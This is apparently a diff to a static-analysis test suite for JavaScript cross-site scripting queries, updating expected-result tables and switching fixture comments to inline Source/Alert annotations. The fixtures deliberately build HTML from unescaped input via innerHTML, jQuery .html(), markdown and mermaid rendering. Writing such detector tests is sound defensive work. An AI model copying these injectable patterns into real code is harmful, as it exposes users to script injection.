-| main.js:11:60:11:60 | s | main.js:12:49:12:49 | s | provenance |  |
-| main.js:21:47:21:47 | s | main.js:22:34:22:34 | s | provenance |  |
-| main.js:56:28:56:34 | options | main.js:60:41:60:47 | options | provenance |  |
-| main.js:57:11:59:5 | defaults | main.js:60:31:60:38 | defaults | provenance |  |
-| main.js:57:11:59:5 | defaults | main.js:60:31:60:38 | defaults | provenance |  |
-| main.js:57:22:59:5 | {\\n      ... "\\n    } | main.js:57:11:59:5 | defaults | provenance |  |
-| main.js:57:22:59:5 | {\\n      ... "\\n    } | main.js:57:11:59:5 | defaults | provenance |  |
-| main.js:60:11:60:48 | settings | main.js:62:19:62:26 | settings | provenance |  |
-| main.js:60:22:60:48 | $.exten ... ptions) | main.js:60:11:60:48 | settings | provenance |  |
-| main.js:60:31:60:38 | defaults | main.js:60:22:60:48 | $.exten ... ptions) | provenance |  |
-| main.js:60:31:60:38 | defaults | main.js:60:22:60:48 | $.exten ... ptions) | provenance |  |
-| main.js:60:31:60:38 | defaults | main.js:60:22:60:48 | $.exten ... ptions) | provenance | Config |
-| main.js:60:41:60:47 | options | main.js:57:22:59:5 | {\\n      ... "\\n    } | provenance |  |
-| main.js:60:41:60:47 | options | main.js:57:22:59:5 | {\\n      ... "\\n    } | provenance |  |
-| main.js:60:41:60:47 | options | main.js:57:22:59:5 | {\\n      ... "\\n    } | provenance | Config |
-| main.js:60:41:60:47 | options | main.js:60:22:60:48 | $.exten ... ptions) | provenance |  |
-| main.js:60:41:60:47 | options | main.js:60:22:60:48 | $.exten ... ptions) | provenance | Config |
-| main.js:62:19:62:26 | settings | main.js:62:19:62:31 | settings.name | provenance | Config |
-| main.js:66:35:66:41 | attrVal | main.js:67:63:67:69 | attrVal | provenance |  |
-| main.js:79:34:79:36 | val | main.js:81:35:81:37 | val | provenance |  |
-| main.js:89:21:89:21 | x | main.js:90:23:90:23 | x | provenance |  |
-| main.js:93:43:93:43 | x | main.js:94:31:94:31 | x | provenance |  |
-| main.js:94:31:94:31 | x | main.js:89:21:89:21 | x | provenance |  |
-| main.js:98:43:98:43 | x | main.js:99:28:99:28 | x | provenance |  |
-| main.js:98:43:98:43 | x | main.js:103:43:103:43 | x | provenance |  |
-| main.js:98:43:98:43 | x | main.js:105:26:105:26 | x | provenance |  |
-| main.js:98:43:98:43 | x | main.js:109:41:109:41 | x | provenance |  |
-| main.js:98:43:98:43 | x | main.js:111:37:111:37 | x | provenance |  |
-| main.js:116:47:116:47 | s | main.js:117:34:117:34 | s | provenance |  |
-| typed.ts:1:39:1:39 | s | typed.ts:2:29:2:29 | s | provenance |  |
-| typed.ts:6:43:6:43 | s | typed.ts:8:40:8:40 | s | provenance |  |
 subpaths
-#select
-| jquery-plugin.js:12:31:12:41 | options.foo | jquery-plugin.js:11:34:11:40 | options | jquery-plugin.js:12:31:12:41 | options.foo | This HTML construction which depends on $@ might later allow $@. | jquery-plugin.js:11:34:11:40 | options | library input | jquery-plugin.js:12:20:12:53 | "<span> ... /span>" | cross-site scripting |
-| jquery-plugin.js:14:31:14:35 | stuff | jquery-plugin.js:11:27:11:31 | stuff | jquery-plugin.js:14:31:14:35 | stuff | This HTML construction which depends on $@ might later allow $@. | jquery-plugin.js:11:27:11:31 | stuff | library input | jquery-plugin.js:14:20:14:47 | "<span> ... /span>" | cross-site scripting |
-| lib2/index.ts:2:27:2:27 | s | lib2/index.ts:1:28:1:28 | s | lib2/index.ts:2:27:2:27 | s | This HTML construction which depends on $@ might later allow $@. | lib2/index.ts:1:28:1:28 | s | library input | lib2/index.ts:3:47:3:50 | html | cross-site scripting |
-| lib2/index.ts:7:58:7:65 | settings | lib2/index.ts:6:29:6:36 | settings | lib2/index.ts:7:58:7:65 | settings | This HTML construction which depends on $@ might later allow $@. | lib2/index.ts:6:29:6:36 | settings | library input | lib2/index.ts:7:47:7:77 | "<span> ... /span>" | cross-site scripting |
-| lib2/index.ts:18:62:18:65 | name | lib2/index.ts:6:29:6:36 | settings | lib2/index.ts:18:62:18:65 | name | This HTML construction which depends on $@ might later allow $@. | lib2/index.ts:6:29:6:36 | settings | library input | lib2/index.ts:18:51:18:77 | "<span> ... /span>" | cross-site scripting |
-| lib2/src/MyNode.ts:2:29:2:29 | s | lib2/src/MyNode.ts:1:28:1:28 | s | lib2/src/MyNode.ts:2:29:2:29 | s | This HTML construction which depends on $@ might later allow $@. | lib2/src/MyNode.ts:1:28:1:28 | s | library input | lib2/src/MyNode.ts:3:49:3:52 | html | cross-site scripting |
-| lib/src/MyNode.ts:2:29:2:29 | s | lib/src/MyNode.ts:1:28:1:28 | s | lib/src/MyNode.ts:2:29:2:29 | s | This HTML construction which depends on $@ might later allow $@. | lib/src/MyNode.ts:1:28:1:28 | s | library input | lib/src/MyNode.ts:3:49:3:52 | html | cross-site scripting |
-| main.js:2:29:2:29 | s | main.js:1:55:1:55 | s | main.js:2:29:2:29 | s | This HTML construction which depends on $@ might later allow $@. | main.js:1:55:1:55 | s | library input | main.js:3:49:3:52 | html | cross-site scripting |
-| main.js:7:49:7:49 | s | main.js:6:49:6:49 | s | main.js:7:49:7:49 | s | This XML parsing which depends on $@ might later allow $@. | main.js:6:49:6:49 | s | library input | main.js:8:48:8:66 | doc.documentElement | cross-site scripting |
-| main.js:12:49:12:49 | s | main.js:11:60:11:60 | s | main.js:12:49:12:49 | s | This XML parsing which depends on $@ might later allow $@. | main.js:11:60:11:60 | s | library input | main.js:16:21:16:35 | xml.cloneNode() | cross-site scripting |
-| main.js:12:49:12:49 | s | main.js:11:60:11:60 | s | main.js:12:49:12:49 | s | This XML parsing which depends on $@ might later allow $@. | main.js:11:60:11:60 | s | library input | main.js:17:48:17:50 | tmp | cross-site scripting |
-| main.js:22:34:22:34 | s | main.js:21:47:21:47 | s | main.js:22:34:22:34 | s | This markdown rendering which depends on $@ might later allow $@. | main.js:21:47:21:47 | s | library input | main.js:23:53:23:56 | html | cross-site scripting |
-| main.js:62:19:62:31 | settings.name | main.js:56:28:56:34 | options | main.js:62:19:62:31 | settings.name | This HTML construction which depends on $@ might later allow $@. | main.js:56:28:56:34 | options | library input | main.js:62:11:62:40 | "<b>" + ...  "</b>" | cross-site scripting |
-| main.js:67:63:67:69 | attrVal | main.js:66:35:66:41 | attrVal | main.js:67:63:67:69 | attrVal | This HTML construction which depends on $@ might later allow $@. | main.js:66:35:66:41 | attrVal | library input | main.js:67:47:67:78 | "<img a ...  "\\"/>" | cross-site scripting |
-| main.js:81:35:81:37 | val | main.js:79:34:79:36 | val | main.js:81:35:81:37 | val | This HTML construction which depends on $@ might later allow $@. | main.js:79:34:79:36 | val | library input | main.js:81:24:81:49 | "<span> ... /span>" | cross-site scripting |
-| main.js:90:23:90:23 | x | main.js:93:43:93:43 | x | main.js:90:23:90:23 | x | This HTML construction which depends on $@ might later allow $@. | main.js:93:43:93:43 | x | library input | main.js:94:20:94:32 | createHTML(x) | cross-site scripting |
-| main.js:99:28:99:28 | x | main.js:98:43:98:43 | x | main.js:99:28:99:28 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:100:24:100:26 | svg | cross-site scripting |
-| main.js:103:43:103:43 | x | main.js:98:43:98:43 | x | main.js:103:43:103:43 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:103:20:103:44 | myMerma ... id", x) | cross-site scripting |
-| main.js:105:26:105:26 | x | main.js:98:43:98:43 | x | main.js:105:26:105:26 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:106:24:106:26 | svg | cross-site scripting |
-| main.js:109:41:109:41 | x | main.js:98:43:98:43 | x | main.js:109:41:109:41 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:109:20:109:42 | mermaid ... id", x) | cross-site scripting |
-| main.js:111:37:111:37 | x | main.js:98:43:98:43 | x | main.js:111:37:111:37 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:112:24:112:26 | svg | cross-site scripting |
-| main.js:117:34:117:34 | s | main.js:116:47:116:47 | s | main.js:117:34:117:34 | s | This markdown rendering which depends on $@ might later allow $@. | main.js:116:47:116:47 | s | library input | main.js:118:53:118:56 | html | cross-site scripting |
-| typed.ts:2:29:2:29 | s | typed.ts:1:39:1:39 | s | typed.ts:2:29:2:29 | s | This HTML construction which depends on $@ might later allow $@. | typed.ts:1:39:1:39 | s | library input | typed.ts:3:31:3:34 | html | cross-site scripting |
-| typed.ts:8:40:8:40 | s | typed.ts:6:43:6:43 | s | typed.ts:8:40:8:40 | s | This HTML construction which depends on $@ might later allow $@. | typed.ts:6:43:6:43 | s | library input | typed.ts:8:29:8:52 | "<span> ... /span>" | cross-site scripting |
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.qlref b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.qlref
index 0fbe0ed0ba1a..b8e264532e4c 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.qlref
@@ -1 +1,2 @@
-Security/CWE-079/UnsafeHtmlConstruction.ql
\ No newline at end of file
+query: Security/CWE-079/UnsafeHtmlConstruction.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/jquery-plugin.js b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/jquery-plugin.js
index 6a133a747bdd..40f33d8edb3f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/jquery-plugin.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/jquery-plugin.js
@@ -5,11 +5,11 @@
 		factory(jQuery);
 	}
 }(function ($) {
-    $("<span>" + $.trim("foo") + "</span>"); // OK
+    $("<span>" + $.trim("foo") + "</span>");
 }));
 
-$.fn.myPlugin = function (stuff, options) {
-    $("#foo").html("<span>" + options.foo + "</span>"); // NOT OK
+$.fn.myPlugin = function (stuff, options) { // $ Source
+    $("#foo").html("<span>" + options.foo + "</span>"); // $ Alert
 
-    $("#foo").html("<span>" + stuff + "</span>"); // NOT OK
+    $("#foo").html("<span>" + stuff + "</span>"); // $ Alert
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib/src/MyNode.ts b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib/src/MyNode.ts
index 91e81238605a..7e546c05d103 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib/src/MyNode.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib/src/MyNode.ts
@@ -1,4 +1,4 @@
-export function trivialXss(s: string) {
-    const html = "<span>" + s + "</span>"; // NOT OK
+export function trivialXss(s: string) { // $ Source
+    const html = "<span>" + s + "</span>"; // $ Alert
     document.querySelector("#html").innerHTML = html;
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib2/index.ts b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib2/index.ts
index 4e5e4730547e..a69e6e5626d7 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib2/index.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib2/index.ts
@@ -1,10 +1,10 @@
-export function trivialXss(s: string) {
-  const html = "<span>" + s + "</span>"; // NOT OK - this file is recognized as a main file.
+export function trivialXss(s: string) { // $ Source
+  const html = "<span>" + s + "</span>"; // $ Alert - this file is recognized as a main file.
   document.querySelector("#html").innerHTML = html;
 }
 
-export function objectStuff(settings: any, i: number) {
-  document.querySelector("#html").innerHTML = "<span>" + settings + "</span>"; // NOT OK
+export function objectStuff(settings: any, i: number) { // $ Source
+  document.querySelector("#html").innerHTML = "<span>" + settings + "</span>"; // $ Alert
   var name;
 
   if (settings.mySetting && settings.mySetting.length !== 0) {
@@ -15,7 +15,7 @@ export function objectStuff(settings: any, i: number) {
         name = "";
       }
 
-      document.querySelector("#html").innerHTML = "<span>" + name + "</span>"; // NOT OK
+      document.querySelector("#html").innerHTML = "<span>" + name + "</span>"; // $ Alert
     }
   }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib2/src/MyNode.ts b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib2/src/MyNode.ts
index e28325ce0cf8..3c7ac0103431 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib2/src/MyNode.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/lib2/src/MyNode.ts
@@ -1,4 +1,4 @@
-export function trivialXss(s: string) {
-    const html = "<span>" + s + "</span>"; // NOT OK - this file is not recognized as a main file.
+export function trivialXss(s: string) { // $ Source
+    const html = "<span>" + s + "</span>"; // $ Alert - this file is not recognized as a main file.
     document.querySelector("#html").innerHTML = html;
 }
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/main.js b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/main.js
index 01d376a2f8be..78da04582957 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/main.js
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/main.js
@@ -1,15 +1,15 @@
-module.exports.xssThroughHTMLConstruction = function (s) {
-    const html = "<span>" + s + "</span>";// NOT OK
+module.exports.xssThroughHTMLConstruction = function (s) { // $ Source
+    const html = "<span>" + s + "</span>";// $ Alert
     document.querySelector("#html").innerHTML = html;
 }
  
-module.exports.xssThroughXMLParsing = function (s) {
-    const doc = new DOMParser().parseFromString(s, "text/xml"); // NOT OK
+module.exports.xssThroughXMLParsing = function (s) { // $ Source
+    const doc = new DOMParser().parseFromString(s, "text/xml"); // $ Alert
     document.querySelector("#xml").appendChild(doc.documentElement);
 }
 
-module.exports.xssThroughMoreComplexXMLParsing = function (s) {
-    const doc = new DOMParser().parseFromString(s, "text/xml"); // NOT OK
+module.exports.xssThroughMoreComplexXMLParsing = function (s) { // $ Source
+    const doc = new DOMParser().parseFromString(s, "text/xml"); // $ Alert
     const xml = doc.documentElement;
     
     const tmp = document.createElement('span');
@@ -18,14 +18,14 @@ module.exports.xssThroughMoreComplexXMLParsing = function (s) {
 }
 
 const markdown = require('markdown-it')({html: true});
-module.exports.xssThroughMarkdown = function (s) {
-    const html = markdown.render(s); // NOT OK
+module.exports.xssThroughMarkdown = function (s) { // $ Source
+    const html = markdown.render(s); // $ Alert
     document.querySelector("#markdown").innerHTML = html;
 }
 
 const striptags = require('striptags');
 module.exports.sanitizedHTML = function (s) {
-    const html = striptags("<span>" + s + "</span>"); // OK
+    const html = striptags("<span>" + s + "</span>");
     document.querySelector("#sanitized").innerHTML = html;
 }
 
@@ -44,7 +44,7 @@ class Foo {
 
     doXss() {
         // not called here, but still bad.
-        document.querySelector("#class").innerHTML = "<span>" + this.step + "</span>"; // NOT OK
+        document.querySelector("#class").innerHTML = "<span>" + this.step + "</span>"; // $ MISSING: Alert - needs localFieldStep
     }
 
 }
@@ -53,67 +53,67 @@ module.exports.createsClass = function (s) {
     return new Foo(s);
 }
 
-$.fn.xssPlugin = function (options) {
+$.fn.xssPlugin = function (options) { // $ Source
     const defaults = {
         name: "name"
     };
     const settings = $.extend(defaults, options);
     return this.each(function () {
-        $("<b>" + settings.name + "</b>").appendTo(this); // NOT OK
+        $("<b>" + settings.name + "</b>").appendTo(this); // $ Alert
     });
 }
 
-module.exports.guards = function (attrVal) {
-    document.querySelector("#id").innerHTML = "<img alt=\"" + attrVal + "\"/>"; // NOT OK
-    document.querySelector("#id").innerHTML = "<img alt=\"" + attrVal.replace(/"|'/g, "") + "\"/>"; // OK
+module.exports.guards = function (attrVal) { // $ Source
+    document.querySelector("#id").innerHTML = "<img alt=\"" + attrVal + "\"/>"; // $ Alert
+    document.querySelector("#id").innerHTML = "<img alt=\"" + attrVal.replace(/"|'/g, "") + "\"/>";
     if (attrVal.indexOf("\"") === -1 && attrVal.indexOf("'") === -1) {
-        document.querySelector("#id").innerHTML = "<img alt=\"" + attrVal + "\"/>"; // OK
+        document.querySelector("#id").innerHTML = "<img alt=\"" + attrVal + "\"/>";
     }
 }
 
 module.exports.intentionalTemplate = function (obj) {
-    const html = "<span>" + obj.spanTemplate + "</span>"; // OK
+    const html = "<span>" + obj.spanTemplate + "</span>";
     document.querySelector("#template").innerHTML = html;
 }
 
-module.exports.types = function (val) {
+module.exports.types = function (val) { // $ Source
     if (typeof val === "string") {
-        $("#foo").html("<span>" + val + "</span>"); // NOT OK
+        $("#foo").html("<span>" + val + "</span>"); // $ Alert
     } else if (typeof val === "number") {
-        $("#foo").html("<span>" + val + "</span>"); // OK
+        $("#foo").html("<span>" + val + "</span>");
     } else if (typeof val === "boolean") {
-        $("#foo").html("<span>" + val + "</span>"); // OK
+        $("#foo").html("<span>" + val + "</span>");
     }
 }
 
 function createHTML(x) {
-    return "<span>" + x + "</span>"; // NOT OK
+    return "<span>" + x + "</span>"; // $ Alert
 }
 
-module.exports.usesCreateHTML = function (x) {
+module.exports.usesCreateHTML = function (x) { // $ Source
     $("#foo").html(createHTML(x));
 }
 
 const myMermaid = require('mermaid');
-module.exports.usesCreateHTML = function (x) {
-    myMermaid.render("id", x, function (svg) { // NOT OK
+module.exports.usesCreateHTML = function (x) { // $ Source
+    myMermaid.render("id", x, function (svg) { // $ Alert
         $("#foo").html(svg);
     });
     
-    $("#foo").html(myMermaid.render("id", x)); // NOT OK
+    $("#foo").html(myMermaid.render("id", x)); // $ Alert
 
-    mermaid.render("id", x, function (svg) {// NOT OK
+    mermaid.render("id", x, function (svg) {// $ Alert
         $("#foo").html(svg); 
     });
 
-    $("#foo").html(mermaid.render("id", x)); // NOT OK
+    $("#foo").html(mermaid.render("id", x)); // $ Alert
 
-    mermaid.mermaidAPI.render("id", x, function (svg) {// NOT OK
+    mermaid.mermaidAPI.render("id", x, function (svg) {// $ Alert
         $("#foo").html(svg);
     });
 }
 
-module.exports.xssThroughMarkdown = function (s) {
-    const html = markdown.render(s); // NOT OK
+module.exports.xssThroughMarkdown = function (s) { // $ Source
+    const html = markdown.render(s); // $ Alert
     document.querySelector("#markdown").innerHTML = html;
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts
index 0f04e92cdc04..1c50460050cf 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts
@@ -1,11 +1,11 @@
-export function basicHtmlConstruction(s: string) {
-    const html = "<span>" + s + "</span>"; // NOT OK
+export function basicHtmlConstruction(s: string) { // $ Source
+    const html = "<span>" + s + "</span>"; // $ Alert
     document.body.innerHTML = html;
 }
 
-export function insertIntoCreatedDocument(s: string) {
+export function insertIntoCreatedDocument(s: string) { // $ Source
     const newDoc = document.implementation.createHTMLDocument("");
-    newDoc.body.innerHTML = "<span>" + s + "</span>"; // OK - inserted into document disconnected from the main DOM. [INCONSISTENCY]
+    newDoc.body.innerHTML = "<span>" + s + "</span>"; // $ SPURIOUS: Alert - inserted into document disconnected from the main DOM.
 }
 
 export function id(s: string) {
@@ -14,7 +14,7 @@ export function id(s: string) {
 
 export function notVulnerable() {
     const s = id("x");
-    const html = "<span>" + s + "</span>"; // OK
+    const html = "<span>" + s + "</span>";
     document.body.innerHTML = html;
 }
  
\ No newline at end of file
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/ConsistencyUnsafeJQueryPlugin.ql b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/ConsistencyUnsafeJQueryPlugin.ql
deleted file mode 100644
index d7e452b2a8c1..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/ConsistencyUnsafeJQueryPlugin.ql
+++ /dev/null
@@ -1,3 +0,0 @@
-import javascript
-deprecated import utils.test.ConsistencyChecking
-import semmle.javascript.security.dataflow.UnsafeJQueryPluginQuery as UnsafeJqueryPlugin
diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/UnsafeJQueryPlugin.expected b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/UnsafeJQueryPlugin.expected
index f246b00d7878..236f3b387fa5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/UnsafeJQueryPlugin.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeJQueryPlugin/UnsafeJQueryPlugin.expected
@@ -1,3 +1,27 @@
+#select
+| unsafe-jquery-plugin.js:3:5:3:11 | options | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:3:5:3:11 | options | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:5:5:5:18 | options.target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:5:5:5:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:22:6:22:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:22:6:22:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:30:6:30:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:30:6:30:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:36:6:36:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:36:6:36:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:40:6:40:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:40:6:40:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:48:6:48:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:48:6:48:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:52:6:52:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:52:6:52:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:60:6:60:11 | target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:60:6:60:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:68:45:68:63 | this.options.parent | unsafe-jquery-plugin.js:65:47:65:53 | options | unsafe-jquery-plugin.js:68:45:68:63 | this.options.parent | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:65:19:69:2 | functio ... lert\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:72:5:72:23 | options.foo.bar.baz | unsafe-jquery-plugin.js:71:38:71:44 | options | unsafe-jquery-plugin.js:72:5:72:23 | options.foo.bar.baz | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:71:19:74:2 | functio ... ml);\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:77:17:77:35 | options.foo.bar.baz | unsafe-jquery-plugin.js:76:38:76:44 | options | unsafe-jquery-plugin.js:77:17:77:35 | options.foo.bar.baz | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:76:19:78:2 | functio ... lert\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:90:6:90:6 | t | unsafe-jquery-plugin.js:84:38:84:44 | options | unsafe-jquery-plugin.js:90:6:90:6 | t | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:84:19:93:2 | functio ... ns);\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:107:5:107:18 | options.target | unsafe-jquery-plugin.js:101:38:101:44 | options | unsafe-jquery-plugin.js:107:5:107:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:101:19:108:2 | functio ... lert\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:117:5:117:18 | options.target | unsafe-jquery-plugin.js:114:38:114:44 | options | unsafe-jquery-plugin.js:117:5:117:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:114:19:118:2 | functio ... lert\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:122:5:122:18 | options.target | unsafe-jquery-plugin.js:121:40:121:46 | options | unsafe-jquery-plugin.js:122:5:122:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:121:21:123:2 | functio ... lert\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:127:6:127:19 | options.target | unsafe-jquery-plugin.js:126:33:126:39 | options | unsafe-jquery-plugin.js:127:6:127:19 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:126:14:128:3 | functio ... ert\\n\\t\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:132:5:132:18 | options.target | unsafe-jquery-plugin.js:131:34:131:40 | options | unsafe-jquery-plugin.js:132:5:132:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:131:15:133:2 | functio ... lert\\n\\t} | '$.fn.affix' plugin |
+| unsafe-jquery-plugin.js:136:5:136:29 | options ... elector | unsafe-jquery-plugin.js:135:36:135:42 | options | unsafe-jquery-plugin.js:136:5:136:29 | options ... elector | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:135:17:137:2 | functio ... lert\\n\\t} | '$.fn.tooltip' plugin |
+| unsafe-jquery-plugin.js:157:44:157:59 | options.target.a | unsafe-jquery-plugin.js:153:38:153:44 | options | unsafe-jquery-plugin.js:157:44:157:59 | options.target.a | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:153:19:158:2 | functio ... ties\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:170:6:170:11 | target | unsafe-jquery-plugin.js:160:38:160:44 | options | unsafe-jquery-plugin.js:170:6:170:11 | target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:160:19:173:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:179:5:179:18 | options.target | unsafe-jquery-plugin.js:178:27:178:33 | options | unsafe-jquery-plugin.js:179:5:179:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:178:18:180:2 | functio ... lert\\n\\t} | '$.fn.my_plugin' plugin |
+| unsafe-jquery-plugin.js:192:19:192:28 | options.of | unsafe-jquery-plugin.js:185:28:185:34 | options | unsafe-jquery-plugin.js:192:19:192:28 | options.of | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:185:18:194:2 | functio ... et);\\n\\t} | '$.fn.position' plugin |
 edges
 | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:3:5:3:11 | options | provenance |  |
 | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:5:5:5:11 | options | provenance |  |
@@ -159,27 +183,3 @@ nodes
 | unsafe-jquery-plugin.js:186:21:186:30 | options.of | semmle.label | options.of |
 | unsafe-jquery-plugin.js:192:19:192:28 | options.of | semmle.label | options.of |
 subpaths
-#select
-| unsafe-jquery-plugin.js:3:5:3:11 | options | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:3:5:3:11 | options | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
-| unsafe-jquery-plugin.js:5:5:5:18 | options.target | unsafe-jquery-plugin.js:2:38:2:44 | options | unsafe-jquery-plugin.js:5:5:5:18 | options.target | Potential XSS vulnerability in the $@. | unsafe-jquery-plugin.js:2:19:63:2 | functio ... \\t\\t}\\n\\n\\t} | '$.fn.my_plugin' plugin |
